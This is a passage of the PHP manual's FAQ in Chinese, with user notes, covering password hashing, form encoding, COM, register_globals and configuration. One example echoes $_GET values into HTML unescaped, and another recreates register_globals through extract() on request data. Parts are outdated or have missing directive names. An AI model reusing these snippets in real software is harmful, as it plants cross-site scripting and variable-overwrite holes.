要能够在 PHP 代码中直接嵌入 <?xml，需要将 PHP 设置项 short_open_tags设置为 0以关闭短标记格式。无法通过函数 ini_set()来更改这项设置。不管 short_open_tags是开或者关，都可以用类似于 <?php echo '<?xml'; ?>的方法达到目的。该项设置的默认值为开。

怎样用 FrontPage 或者其它非要把我的代码移来移去的 HTML 编辑器来编辑 PHP？

最简单的方法是让 PHP 代码也能使用 ASP 标记。这可以让你用 ASP 风格的 <% 和 %> 代码定界符。一些流行的 HTML 编辑器在处理此格式上更加智能化一些（目前如此）。要使用 ASP 风格的标记，需要在 php.ini 中打开 asp_tags，或者用相应的 Apache 配置选项。

哪里可以找到所有可用的 PHP 预定义变量的完整列表？

请阅读手册中的 预定义变量一章，该部分的文档已经包含了一部分可以用于你的脚本的预定义变量的列表。可用变量的完整列表（及更多信息）可以通过调用 phpinfo()函数来查阅。请务必阅读手册中 来自 PHP 之外的变量一节，这部分文档阐述了外部变量的概念，例如来自 HTML 表单、Cookie 和 URL 的变量。

Note: register_globals 重要说明：

自 PHP 4.2.0 起，PHP 指令 register_globals 的默认值为 off。PHP 社区鼓励开发者不要依赖于此指令, 用其他手段替代，例如superglobals。

怎样才能不用非免费的商业库（例如 PDFLib） 来生成 PDF 文档？我想要个免费的并且不需要再连接别的 PDF 库。

有几个选择，例如 » FPDF 和 » TCPDF模块。

There is also the Haru extension that uses the free libHaru external library.

我试着在用户自定义函数中访问一个标准的 CGI 变量（例如 $DOCUMENT_ROOT 或 $HTTP_REFERER），但是找不到，哪里出了错？

首先非常重要的一点是 PHP 设置项 register_globals同样会对服务器端和环境变量产生影响。当 register_globals = off （从 PHP 4.2.0 开始其默认值为 off），变量 $DOCUMENT_ROOT将不会存在，而只有 $_SERVER['DOCUMENT_ROOT']。如果 register_globals = on 则变量 $DOCUMENT_ROOT和 $GLOBALS['DOCUMENT_ROOT']将同时存在。

如果确认 register_globals = on 但不知道为什么 $DOCUMENT_ROOT在函数内部不可用，这是因为它和其它的变量一样需要在函数中执行 global $DOCUMENT_ROOT。请参阅手册中的 变量范围一节。建议在 register_globals = off 的情况下进行编码。

Note: Superglobal 可用性说明：

自 PHP 4.1.0 起可以使用 Superglobal 数组，例如 $_GET，$_POST，和 $_SERVER，等等。更多信息请阅读手册中的 superglobals 章节。

有些 PHP　选项可以接受缩写的字节值，与仅能接受 integer字节值相反。都有哪些缩写字节值？可以将其用于 php.ini 之外吗？

可用的选择有 K（对应 Kilobytes），M（对应 Megabytes）和 G（对应 Gigabytes；自 PHP 5.1.0 起可用），区分大小写。其余的都认为是字节。 1M等于一个 Megabyte，即 1048576字节。 1K等于一个 Kilobyte，即 1024字节。不能在 php.ini 之外使用这些符号，最好用整数的 integer字节值。参见 ini_get()文档中的转换示例。

Note: kilobyte versus kibibyte

The PHP notation describes one kilobyte as equalling 1024 bytes, whereas the IECstandard considers this to be a kibibyte instead. Summary: k and K = 1024 bytes.

Windows: I keep getting connection timeouts when using localhost, whereas "127.0.0.1"works?

Prior to PHP 5.3.4, there was a bug in the network resolving code inside PHP that caused localhostin all stream related situations to fail if IPv6 was enabled. To work around this issue you can either use "127.0.0.1"or disable IPv6 resolving in the hostsfile.

User Contributed Notes

robjbrain at gmail dot com 10-Oct-2016 04:37
There is no error message given if you accidentally use KB, MB or GB instead of K, M or G. From what I can tell the alphabetic characters will be ignored and it will be treated as bytes, so 1GB actually equals 1 Byte. phpinfo() and ini_get() will report what you have written e.g. 1GB, so it will not be clear that there is anything wrong with your setting even though there is.


密码散列安全

本部分解释使用散列函数对密码进行安全处理背后的原因， 以及如何有效的进行密码散列处理。

  1. 为什么需要把应用程序中用户的密码进行散列化？
  2. 为何诸如 md5 和 sha1 这样的常见散列函数不适合用在密码保护场景？
  3. 如果不建议使用常用散列函数保护密码， 那么我应该如何对密码进行散列处理？
  4. “盐”是什么？
  5. 我应该如何保存“盐”？
为什么需要把应用程序中用户的密码进行散列化？

当设计一个需要接受用户密码的应用时， 对密码进行散列是最基本的，也是必需的安全考虑。 如果不对密码进行散列处理，那么一旦应用的数据库受到攻击， 那么用户的密码将被窃取。 同时，窃取者也可以使用用户账号和密码去尝试其他的应用， 如果用户没有为每个应用单独设置密码，那么将面临风险。

通过对密码进行散列处理，然后再保存到数据库中， 这样就使得攻击者无法直接获取原始密码， 同时还可以保证你的应用可以对原始密码进行相同的散列处理， 然后比对散列结果。

需要着重提醒的是，密码散列只能保护密码 不会被从数据库中直接窃取， 但是无法保证注入到应用中的 恶意代码拦截到原始密码。

为何诸如 md5() 和 sha1() 这样的常见散列函数不适合用在密码保护场景？

MD5，SHA1 以及 SHA256 这样的散列算法是面向快速、高效 进行散列处理而设计的。随着技术进步和计算机硬件的提升， 破解者可以使用"暴力"方式来寻找散列码 所对应的原始数据。

因为现代化计算机可以快速的"反转"上述散列算法的散列值， 所以很多安全专家都强烈建议 不要在密码散列中使用这些散列算法。

如果不建议使用常用散列函数保护密码， 那么我应该如何对密码进行散列处理？

当进行密码散列处理的时候，有两个必须考虑的因素： 计算量以及"盐"。 散列算法的计算量越大， 暴力破解所需的时间就越长。

PHP 5.5 提供了 一个原生密码散列 API， 它提供一种安全的方式来完成密码 散列和 验证。 PHP 5.3.7 及后续版本中都提供了一个 » 纯 PHP 的兼容库。

PHP 5.3 及后续版本中，还可以使用 crypt() 函数， 它支持多种散列算法。 针对每种受支持的散列算法，PHP 都提供了对应的原生实现， 所以在使用此函数的时候， 你需要保证所选的散列算法是你的系统所能够支持的。

当对密码进行散列处理的时候，建议采用 Blowfish 算法， 这是密码散列 API 的默认算法。 相比 MD5 或者 SHA1，这个算法提供了更高的计算量， 同时还有具有良好的伸缩性。

如果使用 crypt() 函数来进行密码验证， 那么你需要选择一种耗时恒定的字符串比较算法来避免时序攻击。 （译注：就是说，字符串比较所消耗的时间恒定， 不随输入数据的多少变化而变化） PHP 中的 == 和 === 操作符 和 strcmp() 函数都不是耗时恒定的字符串比较， 但是 password_verify() 可以帮你完成这项工作。 我们鼓励你尽可能的使用 原生密码散列 API。

"盐"是什么？

加解密领域中的"盐"是指在进行散列处理的过程中 加入的一些数据，用来避免从已计算的散列值表 （被称作"彩虹表"）中 对比输出数据从而获取明文密码的风险。

简单而言，"盐"就是为了提高散列值被破解的难度 而加入的少量数据。 现在有很多在线服务都能够提供 计算后的散列值以及其对应的原始输入的清单， 并且数据量极其庞大。 通过加"盐"就可以避免直接从清单中查找到对应明文的风险。

如果不提供"盐"，password_hash() 函数会随机生成"盐"。 非常简单，行之有效。

我应该如何保存"盐"？

当使用 password_hash() 或者 crypt() 函数时， "盐"会被作为生成的散列值的一部分返回。 你可以直接把完整的返回值存储到数据库中， 因为这个返回值中已经包含了足够的信息， 可以直接用在 password_verify() 或 crypt() 函数来进行密码验证。

下图展示了 crypt() 或 password_hash() 函数返回值的结构。 如你所见，算法的信息以及"盐"都已经包含在返回值中， 在后续的密码验证中将会用到这些信息。

password_hash 和 crypt 函数返回值的组成部分，依次为：所选择的算法， 算法选项，所使用的

User Contributed Notes

swardx at gmail dot com 29-Jun-2016 09:36
A great read..

https://nakedsecurity.sophos.com/2013/11/20/serious-security-how-to-store-your-users-passwords-safely/

Serious Security: How to store your users' passwords safely

In summary, here is our minimum recommendation for safe storage of your users' passwords:

    Use a strong random number generator to create a salt of 16 bytes or longer.
    Feed the salt and the password into the PBKDF2 algorithm.
    Use HMAC-SHA-256 as the core hash inside PBKDF2.
    Perform 20,000 iterations or more. (June 2016.)
    Take 32 bytes (256 bits) of output from PBKDF2 as the final password hash.
    Store the iteration count, the salt and the final hash in your password database.
    Increase your iteration count regularly to keep up with faster cracking tools.

Whatever you do, don't try to knit your own password storage algorithm.
alf dot henrik at ascdevel dot com 12-Mar-2014 07:58
I feel like I should comment some of the clams being posted as replies here.

For starters, speed IS an issue with MD5 in particular and also SHA1. I've written my own MD5 bruteforce application just for the fun of it, and using only my CPU I can easily check a hash against about 200mill. hash per second. The main reason for this speed is that you for most attempts can bypass 19 out of 64 steps in the algorithm. For longer input (> 16 characters) it won't apply, but I'm sure there's some ways around it.

If you search online you'll see people claiming to be able to check against billions of hashes per second using GPUs. I wouldn't be surprised if it's possible to reach 100 billion per second on a single computer alone these days, and it's only going to get worse. It would require a watt monster with 4 dual high-end GPUs or something, but still possible.

Here's why 100 billion per second is an issue:
Assume most passwords contain a selection of 96 characters. A password with 8 characters would then have 96^8 = 7,21389578984e+15 combinations.
With 100 billion per second it would then take 7,21389578984e+15 / 3600 = ~20 hours to figure out what it actually says. Keep in mind that you'll need to add the numbers for 1-7 characters as well. 20 hours is not a lot if you want to target a single user.

So on essence:
There's a reason why newer hash algorithms are specifically designed not to be easily implemented on GPUs.

Oh, and I can see there's someone mentioning MD5 and rainbow tables. If you read the numbers here, I hope you realize how incredibly stupid and useless rainbow tables have become in terms of MD5. Unless the input to MD5 is really huge, you're just not going to be able to compete with GPUs here. By the time a storage media is able to produce far beyond 3TB/s, the CPUs and GPUs will have reached much higher speeds.

As for SHA1, my belief is that it's about a third slower than MD5. I can't verify this myself, but it seems to be the case judging the numbers presented for MD5 and SHA1. The issue with speeds is basically very much the same here as well.

The moral here:
Please do as told. Don't every use MD5 and SHA1 for hasing passwords ever again. We all know passwords aren't going to be that long for most people, and that's a major disadvantage. Adding long salts will help for sure, but unless you want to add some hundred bytes of salt, there's going to be fast bruteforce applications out there ready to reverse engineer your passwords or your users' passwords.
fluffy at beesbuzz dot biz 11-Jun-2012 11:33
The security issue with simple hashing (md5 et al) isn't really the speed, so much as the fact that it's idempotent; two different people with the same password will have the same hash, and so if one person's hash is brute-forced, the other one will as well.  This facilitates rainbow attacks.  Simply slowing the hash down isn't a very useful tactic for improving security.  It doesn't matter how slow and cumbersome your hash algorithm is - as soon as someone has a weak password that's in a dictionary, EVERYONE with that weak password is vulnerable.

Also, hash algorithms such as md5 are for the purpose of generating a digest and checking if two things are probably the same as each other; they are not intended to be impossible to generate a collision for.  Even if an underlying password itself requires a lot of brute forcing to determine, that doesn't mean it will be impossible to find some other bit pattern that generates the same hash in a trivial amount of time.

As such: please, please, PLEASE only use salted hashes for password storage.  There is no reason to implement your own salted hash mechanism, either, as crypt() already does an excellent job of this.


PHP 和 HTML

PHP 和 HTML 有很多相互作用：PHP 能生成 HTML，HTML 可以向 PHP 传递信息。在阅读这些常见问题之前，先学会怎样 从 PHP 之外取得变量很重要。此主题的手册页也包括很多例子。还要仔细留意 register_globals对你意味着什么。

  1. 当我通过表单／URL 传值时需要用什么编码／解码方法？
  2. 我在试用 <input type="image"> 标记，但是没有 $foo.x和 $foo.y变量，它们哪去了？
  3. 怎样在 HTML 的 <form> 中建立数组？
  4. 怎样从可多选的 HTML 的 select multiple 标记中得到所有结果？
  5. 怎样从 Javascript 传递一个变量到 PHP？
当我通过表单／URL 传值时需要用什么编码／解码方法？

在几个环节上编码方式很重要。假定有 string $data，其中包含了想通过非编码方式传递的字符串，那这是相关步骤：

  • HTML 解析。要指定一个任意的字符串， 必须将其放在双引号中，并用 htmlspecialchars()处理整个值。

  • URL：URL 由几部分组成。如果希望自己的数据被当作其中一项来解释， 必须用 urlencode()对其编码。

Example #1 隐藏的 HTML 表单单元

<?php
    echo "<input type='hidden' value='" . htmlspecialchars($data) . "' />\n";
?>

Note: 用 urlencode()来处理 $data是错误的，因为是浏览器的责任来 urlencode()数据。所有流行的浏览器都能正确处理。注意不论何种方法（例如 GET 或 POST）都会这样。不过只会在用 GET 请求时注意到这一点，因为 POST 请求通常是隐藏的。

Example #2 等待用户编辑的数据

<?php
    echo "<textarea name='mydata'>\n";
    echo htmlspecialchars($data)."\n";
    echo "</textarea>";
?>

Note: 数据会按照预期的显示在浏览器中，因为浏览器会解释 HTML 转义符号。 当提交时，不论是 GET 或者 POST 方法，数据都会被浏览器进行 urlencode 来传输，并直接被 PHP urldecode。所以最终不需要自己处理任何 urlencoding/urldecoding，全都是自动处理的。

Example #3 URL 中的例子

<?php
    echo "<a href='" . htmlspecialchars("/nextpage.php?stage=23&data=" .
        urlencode($data)) . "'>\n";
?>

Note: 事实上这在编造一个 HTML 的 GET 请求，因此需要手工对数据进行 urlencode()。

Note: 需要对整个 URL 进行 htmlspecialchars()，因为 URL 是作为 HTML 属性的一个值出现的。在本例中，浏览器会首先对值进行 un- htmlspecialchars()，然后再传递此 URL。PHP 将能正确理解 URL，因为对数据进行了 urlencoded()。 要注意到 URL 中的 &被替换成了 &amp;。如果忘了这一步，尽管大多数浏览器都能恢复，但也不总是这样。因此即使 URL 不是动态的，也 需要对 URL 进行 htmlspecialchars()。

我在试用 <input type="image"> 标记，但是没有 $foo.x和 $foo.y变量，它们哪去了？

当提交表单时，可以用图片代替标准的提交按钮，用类似这样的标记：

<input type="image" src="image.gif" name="foo" />
当用户点击了图片的任何部分，该表单会被发送到服务器并加上两个额外的变量： foo.x和 foo.y。

因为 foo.x和 foo.y在 PHP 中会成为非法的变量名，它们被自动转换成了 foo_x和 foo_y。也就是用下划线代替了点。因此，可以按照在 来自 PHP 之外的变量这一节中说明的那样访问这些变量。例如， $_GET['foo_x']。

Note:

请求变量名中的空格被转换为下划线。

怎样在 HTML 的 <form> 中建立数组？

要使你的 <form> 结果被当成 array发送到 PHP 脚本，要对 <input>，<select> 或者 <textarea> 单元这样命名：

<input name="MyArray[]" />
<input name="MyArray[]" />
<input name="MyArray[]" />
<input name="MyArray[]" />
注意变量名后的方括号，这使其成为一个数组。可以通过给不同的单元分配相同的名字来把单元分组到不同的数组里：
<input name="MyArray[]" />
<input name="MyArray[]" />
<input name="MyOtherArray[]" />
<input name="MyOtherArray[]" />
这将产生两个数组，MyArray 和 MyOtherArray，并发送给 PHP 脚本。还可以给数组分配指定的键名：
<input name="AnotherArray[]" />
<input name="AnotherArray[]" />
<input name="AnotherArray[email]" />
<input name="AnotherArray[phone]" />
AnotherArray 数组将包含键名 0，1，email 和 phone。

Note:

指定数组的键名是 HTML 的可选项。如果不指定键名，则数组被按照单元在表单中出现的顺序填充。第一个例子将包含键名 0，1，2 和 3。

参见 数组函数和 来自 PHP 之外的变量。

怎样从可多选的 HTML 的 select multiple 标记中得到所有结果？

可多选的 select multiple 标记是 HTML 的一个构造，允许用户从一个列表中选择多个项目。这些项目接着被传递给该表单 action 中指定的处理程序。问题是它们都会被用同样的名字传递。例如：

<select name="var" multiple="yes">
每个被选项将这样被传递到表单处理程序：
var=option1 var=option2 var=option3
每个选项将覆盖前面一个 $var变量的内容。解决方案是用 PHP 的"表单单元数组"特性。使用方法如下：
<select name="var[]" multiple="yes">
这将告诉 PHP 将 $var当成数组对待，每个对 var[] 的赋值都会给数组增加一项。第一项将成为 $var[0]，下一个是 $var[1]，等等。可以用 count()函数来测定选择了多少个项目，必要时可以用 sort()函数来对选项的数组进行排序。

注意如果在 JavaScript 中通过名字来引用单元，单元名字中的 []可能会造成问题。用表单单元中的数字序号来替代，或者将变量名用单引号括起来并用其作为单元数组的索引，例如：

variable = documents.forms[0].elements['var[]'];

怎样从 Javascript 传递一个变量到 PHP？

由于 Javascript （通常情况下）是客户端技术，而 PHP （通常情况下）是服务器端技术，而且 HTTP 是一种"无状态"协议，因此两种语言之间不能直接共享变量。

但是，有可能在二者之间传递变量。一种实现的方法是用 PHP 生成 Javascript 代码，并让浏览器自动刷新，将特定的变量传递回 PHP 脚本。以下例子显示了如何这样做——让 PHP 代码取得显示屏幕的高度和宽度，通常只能在客户端这么做。

<?php
if (isset($_GET['width']) AND isset($_GET['height'])) {
  // output the geometry variables
  echo "Screen width is: ". $_GET['width'] ."<br />\n";
  echo "Screen height is: ". $_GET['height'] ."<br />\n";
} else {
  // pass the geometry variables
  // (preserve the original query string
  //   -- post variables will need to handled differently)

  echo "<script language='javascript'>\n";
  echo "  location.href=\"${_SERVER['SCRIPT_NAME']}?${_SERVER['QUERY_STRING']}"
            . "&width=\" + screen.width + \"&height=\" + screen.height;\n";
  echo "</script>\n";
  exit();
}
?>

User Contributed Notes

starbugfourtytwo at gmail dot com 29-May-2019 11:04
Why use such a complicated example for js to php? why not do this..so we can understand:

javascript:

const variable = "A"

php:

do whatever it takes to get A from javascript
smileytechguy at smileytechguy dot com 02-Feb-2018 04:55
The (at least that I've found) best way to pass data from PHP to JS is json_encode.  Doing so will convert arrays, strings, numbers, etc. as best as possible.

<?php
$myInt = 7;
// a bunch of special characters to demonstrate proper encoding
$myString = <<<EOF
" ' ; &\ $
EOF;
$myArr = [1, "str", 2];
$myAssocArr = ["foo" => "bar"];
?>

<script>
var myInt = <?= json_encode($myInt) ?>;
var myString = <?= json_encode($myString) ?>;
var myArr = <?= json_encode($myArr) ?>;
var myAssocArr = <?= json_encode($myAssocArr) ?>;
</script>

This will render the following JS code, which correctly stores the variables:
<script>
var myInt = 7;
var myString = "\" ' ; &\\ $";
var myArr = [1,"str",2];
var myAssocArr = {"foo":"bar"};
</script>

Do note that there are no "s or anything like that around the json_encode output; json_encode handles that for you.
Jay 01-Apr-2014 09:25
If you have a really large form, be sure to check your max_input_vars setting.  Your array[] will get truncated if it exceeds this.  http://www.php.net/manual/en/info.configuration.php#ini.max-input-vars
jetboy 30-Dec-2005 07:06
While previous notes stating that square brackets in the name attribute are valid in HTML 4 are correct, according to this:

http://www.w3.org/TR/xhtml1/#C_8

the type of the name attribute has been changed in XHTML 1.0, meaning that square brackets in XHTML's name attribute are not valid.

Regardless, at the time of writing, the W3C's validator doesn't pick this up on a XHTML document.


PHP 和 COM

PHP 可以在 Win32 平台中访问 COM 和 DCOM 对象。

  1. 我建立了一个 DLL 来做某种计算。有办法在 PHP 中运行这个 DLL 吗？
  2. “Unsupported variant type: xxxx (0xxxxx)”是什么意思？
  3. 在 PHP 中有可能操纵可视对象吗？
  4. 可以将一个 COM 对象保存在 session 中吗？
  5. 怎样可以捕获 COM 的错误？
  6. 我能像在 Perl 中一样从 PHP 脚本生成 DLL 文件吗？
  7. “Unable to obtain IDispatch interface for CLSID {xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}”是什么意思？
  8. 怎样从远端服务器运行 COM 对象？
  9. 我得到一个“DCOM is disabled in C:\path...\scriptname.php on line 6”信息，应该怎么办？
  10. 有可能在 PHP 页面中加载／操纵 ActiveX 对象吗？
  11. 有可能得到一个组件在运行中的实例吗？
  12. 有办法处理 COM 对象中发送的事件吗？
  13. 我在尝试调用一个打开了多于一个接口的 COM 对象中的方法时碰到问题，应该怎么办？
  14. 这么说 PHP 可以和 COM 一起工作，那么 COM+ 呢？
  15. 如果 PHP 可以操纵 COM 对象，那么可以设想结合 PHP 用 MTS 来管理组件资源吗？
我建立了一个 DLL 来做某种计算。有办法在 PHP 中运行这个 DLL 吗？

如果这是个简单的 DLL 那么还没有办法在 PHP 中运行它。如果这个 DLL 中包含有一个 COM 服务器并且它实现了 IDispatch 接口，那有可能访问它。

"Unsupported variant type: xxxx (0xxxxx)"是什么意思？

有几十种 VARIANT 类型以及它们的组合。大多数已经被支持了但还有几种尚未实现。数组没有完全被支持。只有一维的仅用作索引的数组可以在 PHP 和 COM 之间传递。如果你发现其它未支持的类型，请当作一个 bug 报告（如果尚未被报告的话）并提供尽可能多的信息。

在 PHP 中有可能操纵可视对象吗？

一般来说是可以的，但是 PHP 大都用来作为 web 脚本语言并运行在 web 服务器的上下文环境中，因此可视对象决不会在服务器的桌面上显示。如果你把 PHP 用作应用程序脚本例如结合 PHP-GTK 来使用，那么访问和通过 COM 来操纵可视对象方面没有限制。

可以将一个 COM 对象保存在 session 中吗？

不行。COM 的实例被看作是资源，因此只在一个脚本的上下文中有效。

怎样可以捕获 COM 的错误？

在 PHP 5 中，COM 扩展会发出 com_exception异常信息，可以捕获并检查 code成员来决定下一步的行为。

在 PHP 4 中除了用 PHP 自己提供的办法之外（@，track_errors，..）不可能捕获 COM 的错误。

我能像在 Perl 中一样从 PHP 脚本生成 DLL 文件吗？

不行，PHP 没有这样的工具。

"Unable to obtain IDispatch interface for CLSID {xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}"是什么意思？

此错误可以有多种原因：

  • 错误的 CLSID
  • 找不到所请求的 DLL
  • 所请求的组件没有实现 IDispatch 接口

怎样从远端服务器运行 COM 对象？

完全和运行本地对象一样。只须将远端服务器的 IP 作为第二个变量传递给 COM 的构造函数即可。

确认在 php.ini 中设定了 =&true;。

我得到一个"DCOM is disabled in C:\path...\scriptname.php on line 6"信息，应该怎么办？

编辑 php.ini 并设定 =&true;。

有可能在 PHP 页面中加载／操纵 ActiveX 对象吗？

这不关 PHP 的事。如果在 HTML 文档中请求的话，ActiveX 对象被加载在客户端。这和 PHP 脚本没有关系，因此也不可能和服务器端发生直接的交互作用。

有可能得到一个组件在运行中的实例吗？

在绰号的帮助下这有可能。如果你想得到同一个 word 实例的多个引用你可以这样建立此实例：

<?php
$word = new COM("C:\docs\word.doc");
?>

如果没有运行中的实例这将建立一个新的实例，否则将会返回正在运行中的实例的句柄，如果可用的话。

有办法处理 COM 对象中发送的事件吗？

可以自定义事件收报方并且用 com_event_sink()函数绑定之。可以用 com_print_typeinfo()来让 PHP 产生事件收报方类的框架。

我在尝试调用一个打开了多于一个接口的 COM 对象中的方法时碰到问题，应该怎么办？

我也不知道怎么办，我想这没办法。如果什么人有对此问题的明确信息请 » 告诉我。:)

这么说 PHP 可以和 COM 一起工作，那么 COM+ 呢？

COM+ 通过使用 MTS 和 MSMQ 来管理组件的框架扩展了 COM，但并没有什么特殊之处使 PHP 非要支持这样的组件。

如果 PHP 可以操纵 COM 对象，那么可以设想结合 PHP 用 MTS 来管理组件资源吗？

PHP 本身还并不处理事务。因而如果出错也不会发动撤回机制。如果你使用了支持事务处理的组件那你不得不自己实现事务管理。

User Contributed Notes

codeslinger at compsalot dot com 27-Jan-2007 05:18
in response to item #1 above:  "If this is a simple DLL there is no way yet to run it from PHP."

Answer: There are several different packages/add-ons to php that enable low level access to the windows api. One of the most popular of these packages is available at http://www.winbinder.org

Winbinder does have the ability to load a dll and call it's functions.  Winbinder also provides a large set of windows apis for creating windows and controls.  This is useful for creating stand-alone desktop apps.  It is a possible alternative to php-gtk.

I've had mixed results with Winbinder, some things work very well, others are buggy; source code is available.  It's worth a look, Evaluate carefully.
17-Jul-2005 04:56
Re: The Windows English CHM Sample with MS Word Automation.

I see that $Word->Release() is called after $Word->Quit().
This seems to be erroneous. Actually, $Word->Release() should not have to be called if proper COM garbage collection is taking place. Release() is a C++ construction not used in either Visual Basic or VBScript or even MS-JScript. Just to be sure, however, I ran the sample through php.exe (5.04 CLI on Windows XP SP1 with Office 2003) and got a RPC failed error on the line containing $Word->Release(). The rest of the sample works fine, and the results are as expected. So, I propose 2 scenarios:
      1.There is a problem with the documentation (more likely).
      2.There is a problem with PHP504 itself, as this problem is reproduced with any COM Automation call, not just Word.
junk.ghost@virgin dOtt net 05-Oct-2004 09:27
It may be obvious to everyone else but...

If you want to write your own COM DLL in MSVC++6 and you want to pass it a string, you need the following in your .idl file:

HRESULT function_name([in] BSTR parameter_name,
                      [retval, out] BSTR * retval);

retval is the result of your function as a string to be passed back.

BSTR is an unsigned short *, so if you want to use your string with STL string etc. you may need to convert parameters to and from char *.

The burden of my message is that from PHP

$comThing = new COM("comThing.comThing");
print $comThing->function_name("Jeremy");

Jeremy will be marshalled as wide chars, which match BSTR.


其他问题

有些问题没法归到其它类中，可以在这里找到。

  1. 在 Windows 中怎样处理 bz2 压缩的文档？
  2. 在函数定义中，参数旁边的 & 是什么意思？例如 asort。
  3. 怎么处理 register_globals？
在 Windows 中怎样处理 bz2 压缩的文档？

如果没有能处理 bz2 文件的压缩工具，从 Redhat » 下载一个命令行工具（进一步信息见下面）。

如果不喜欢用命令行工具，可以试试免费工具例如 » Stuffit Expander， » UltimateZip， » 7-Zip或者 » Quick Zip。如果有像 » WinRAR或者 » Power Archiver之类的工具，可以很容易用它解压缩 bz2 文件。如果用 Total Commander（前身为 Windows Commander），可以从 » Total Commander网站免费得到一个 bz2 插件。

来自 Redhat 的 bzip2 命令行工具：

Win2K Sp2 用户下载最新版本 1.0.2，所有其它 Windows 用户应该用版本 1.00。下载后重命名可执行文件为 bzip2.exe。为方便起见将其放到一个在你路径中的目录，例如 C:\Windows，C 表示你安装 Windows 的盘符。

注意：lang 指的是你的语种，x 是想要的格式，例如：pdf。要解压缩 php_manual_lang.x.bz2，按照下面的简单说明进行：

  • 打开一个命令行窗口
  • 进入存放已下载的 php_manual_lang.x.bz2 的目录
  • 调用 bzip2 -d php_manual_lang.x.bz2，将 php_manual_lang.x 释放到同一个目录

在下载了包含很多 html 文件的 php_manual_lang.tar.bz2 的情况下，过程是一样的。唯一区别是得到了一个 php_manual_lang.tar 文件。tar 格式可以被大多数 Windows 下流行的压缩工具所处理，例如 » WinZip。

在函数定义中，参数旁边的 & 是什么意思？例如 asort()。

这表示该参数是 引用传递，该函数会修改其值。只可以用此方法传递变量，其实都不需要在函数调用中用 & 传递（此方式都已 过时了）。

怎么处理 register_globals？

有关 register_globals实现方面的安全性，请阅读 使用 register_globals一章。

推荐使用 超全局变量而不要依赖 register_globals。

如果需要在一台关闭了 register_globals的共享主机上运行一些旧式程序而该程序需要此选项打开时，或者在一些打开了此选项的主机上但想消除安全隐患，那么就需要用 PHP 来模拟出相反的设定。最好先问清楚是否能否在哪里更改 PHP 配置的选项，如果不行，那可以用如下的兼容手段。

Example #1 模拟注册全局变量

本例模拟 register_globals On。如果改变了配置文件中的 variables_order选项，则考虑对 $superglobals作出相应的改动。

<?php
// Emulate register_globals on
if (!ini_get('register_globals')) {
    $superglobals = array($_SERVER, $_ENV,
        $_FILES, $_COOKIE, $_POST, $_GET);
    if (isset($_SESSION)) {
        array_unshift($superglobals, $_SESSION);
    }
    foreach ($superglobals as $superglobal) {
        extract($superglobal, EXTR_SKIP);
    }
}
?>

本例模拟 register_globals Off。要记住此代码应在脚本最开头的地方调用。如果使用了会话机制，则在 session_start()之后调用。

<?php
// Emulate register_globals off
function unregister_GLOBALS()
{
    if (!ini_get('register_globals')) {
        return;
    }

    // Might want to change this perhaps to a nicer error
    if (isset($_REQUEST['GLOBALS']) || isset($_FILES['GLOBALS'])) {
        die('GLOBALS overwrite attempt detected');
    }

    // Variables that shouldn't be unset
    $noUnset = array('GLOBALS',  '_GET',
                     '_POST',    '_COOKIE',
                     '_REQUEST', '_SERVER',
                     '_ENV',     '_FILES');

    $input = array_merge($_GET,    $_POST,
                         $_COOKIE, $_SERVER,
                         $_ENV,    $_FILES,
                         isset($_SESSION) && is_array($_SESSION) ? $_SESSION : array());

    foreach ($input as $k => $v) {
        if (!in_array($k, $noUnset) && isset($GLOBALS[$k])) {
            unset($GLOBALS[$k]);
        }
    }
}

unregister_GLOBALS();

?>

User Contributed Notes

doerr at apkk dot de 28-Dec-2010 05:41
If you only needed register_globals for get/post variables, the effictive solution for 5.3 is:
  import_request_variables("GPC", "");

But if the skripts relied on session_register() you'll have to do more:
- Replace all variables that appeared after session_register with _SESSION equivalents - so $myvar becomes $_SESSION['myvar']
- Take care if your variables appeared inside strings - 'Hello $user !' works, but 'Hello $_SESSION['user'] !' not - so you have to concatenate the string: 'Hello '.$_SESSION['user'] .' !'
- Session variables in function declarations (for whatever purpose) will not work - keeping the old (local) names will work in most cases.
- Finally, replace the session_register(..) line with session_start()
markus 18-Jun-2005 03:34
Considering the comment below. I think there's a way to avoid that "problem":

<?php
//
// $starttime is an example of a variable that we might need to define,
// even before, running the "register_globals OFF" emulator below.
//
list($msec, $sec) = explode(' ', microtime());
$starttime = ((float)$msec + (float)$sec);

//
// If register_globals is ON, ensure no unexpected globals are defined.
// ie. We'll try to emulate a register_globals OFF environment.
//
if( (bool)@ini_get('register_globals') )
{
    $superglobals = array($_ENV, $_GET, $_POST, $_COOKIE, $_FILES, $_SERVER);
    if( isset($_SESSION) )
    {
        array_unshift($superglobals, $_SESSION);
    }
    $knownglobals = array(
        //
        // Known PHP Reserved globals and superglobals:
        //
        '_ENV',        'HTTP_ENV_VARS',
        '_GET',        'HTTP_GET_VARS',
        '_POST',    'HTTP_POST_VARS',
        '_COOKIE',    'HTTP_COOKIE_VARS',
        '_FILES',    'HTTP_FILES_VARS',
        '_SERVER',    'HTTP_SERVER_VARS',
        '_SESSION',    'HTTP_SESSION_VARS',
        '_REQUEST',

        //
        // Global variables used by this code snippet:
        //
        'superglobals',
        'knownglobals',
        'superglobal',
        'global',
        'void',

        //
        // Known global variables defined before this code snippet is reached.
        //
        'starttime',
    );
    foreach( $superglobals as $superglobal )
    {
        foreach( $superglobal as $global => $void )
        {
            if( !in_array($global, $knownglobals) )
            {
                unset($GLOBALS[$global]);
            }
        }
    }
}
?>

Note the stuff related to the $_SESSION array depends on whether the PHP session has been started or not. You might want to call session_start() before this point (or set session.auto_start ON).

HTH+ :)
php at REMOVEMEkennel17 dot co dot uk 12-Apr-2005 08:22
Regarding simulating register_globals = off, note that it is impossible to adequately prevent $_SESSION variables from being globalised, as the array (and thus the globals) are created on a call to session_start().  You would therefore have to 'undo' this when you start a session as using it at the start of your script will have no effect.

To avoid potential problems, use a prefix that is unique for all session variables (e.g. 'SESS_'), and only access them via the $_SESSION array.  The prefix ensures that you don't have a naming clash (and therefore a security risk) with any non-session globals.


附录

  • PHP 及其相关工程的历史
    • PHP 的历史
    • PHP 相关工程的历史
    • PHP 相关书籍
    • PHP 相关文章
  • 从 PHP 7.2.x 移植到 PHP 7.3.x
    • New Features
    • 新函数
    • 新的全局常量
    • Backward Incompatible Changes
    • PHP 7.3.x 中废弃的功能
    • Other Changes
    • Windows Support
  • 从PHP 7.1.x 移植到 PHP 7.2.x
    • 新特性
    • 新函数
    • New global constants
    • Backward incompatible changes
    • PHP 7.2.x 中废弃的功能
    • 其他变更
